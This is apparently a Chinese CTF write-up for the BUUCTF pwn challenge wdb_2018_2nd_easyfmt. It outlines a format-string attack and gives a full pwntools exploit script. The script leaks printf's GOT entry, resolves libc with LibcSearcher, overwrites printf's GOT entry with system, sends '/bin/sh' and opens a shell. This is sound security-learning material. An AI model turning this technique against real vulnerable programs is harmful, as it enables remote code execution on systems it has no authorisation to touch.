[BUUCTF-pwn]——wdb_2018_2nd_easyfmt
[BUUCTF-pwn]——wdb_2018_2nd_easyfmt
一个简单的格式化字符串利用问题
- 泄露出got表地址,找到libc基地址
- 寻找system的实际地址
- 将printf_got修改为system的地址
- 写入”/bin/sh"
exploit
from pwn import *
from LibcSearcher import *
context.log_level = "debug"p = remote('node3.buuoj.cn',25125)
#p = process("./wdb_2018_2nd_easyfmt")
elf = ELF("./wdb_2018_2nd_easyfmt")
printf_got = elf.got["printf"]payload1 = p32(printf_got) + "%6$s"
p.sendlineafter("repeater?\n",payload1)
p.recv(4)
printf_addr = u32(p.recv(4))
print("printf_addr ---> ",hex(printf_addr))libc = LibcSearcher("printf", printf_addr)
libcbase = printf_addr - libc.dump("printf")
system = libcbase + libc.dump("system")payload = fmtstr_payload(6,{printf_got: system})
p.sendline(payload)p.sendline("/bin/sh\x00")
p.interactive()
[BUUCTF-pwn]——wdb_2018_2nd_easyfmt相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- mysql返回#1114 – The table ‘xxxx’is full解决方法
- 如何从S4HANA的销售订单找到对应的生产订单
- adas功能受限_高级驾驶辅助系统(ADAS)的主要功能有哪些?
- Java生鲜电商平台-SpringCloud微服务架构中网络请求性能优化与源码解析
- 服务端架构中的“网关服务器”
- php新窗口打开链接,wordpress如何设置在新窗口打开链接
- OOP的几个不常用的方法
- Java 容器源码分析之 TreeMap
- cvpr 深度估计_北京航空航天大学团队在CVPR2017-4D光场深度估计竞赛中夺冠
- android 手机头提示消息,正确的手机头部声明(android,iphone)
- Python 解析百度,搜狗词库
- 拼多多36W+的后端面经
- CrossApp V1.0.1,新增动画与连接 wifi 功能
- 魔兽世界燃烧的远征最新服务器,进驻推荐服务器,享受《燃烧的远征》
- 2022年保险从业者要考什么样的证书?RFP、CFP、AFP哪个比较好?
- GCC 9.4 编译error: catching polymorphic type ‘class std::bad_alloc’ by value [-Werror=catch-value=]
- 河北pc104计算机,便携PC104军用全加固计算机 ZHK-RC212
- 梯度下降算法和正规方程组学习笔记
- 晶振与晶体的参数详解
- CWE-416: Use After Free(释放后使用)
热门文章
- 【数据结构与算法】之深入解析“二叉树的锯齿形层序遍历”的求解思路与算法示例
- 【数据结构与算法】之深入解析“复制带随机指针的链表”的求解思路与算法示例
- Swift之深入解析访问控制权限
- 深度理解特斯拉自动驾驶解决方案 2:向量空间
- Vue - Markdown编辑器
- 彻底掌握动态规划,第一节
- 14. Longest Common Prefix
- Ubuntu + pip + Python3 + CPU版本 PaddlePaddle 安装
- 【STM32】随机数发生器相关函数和类型
- 【Linux系统编程】fork()函数详解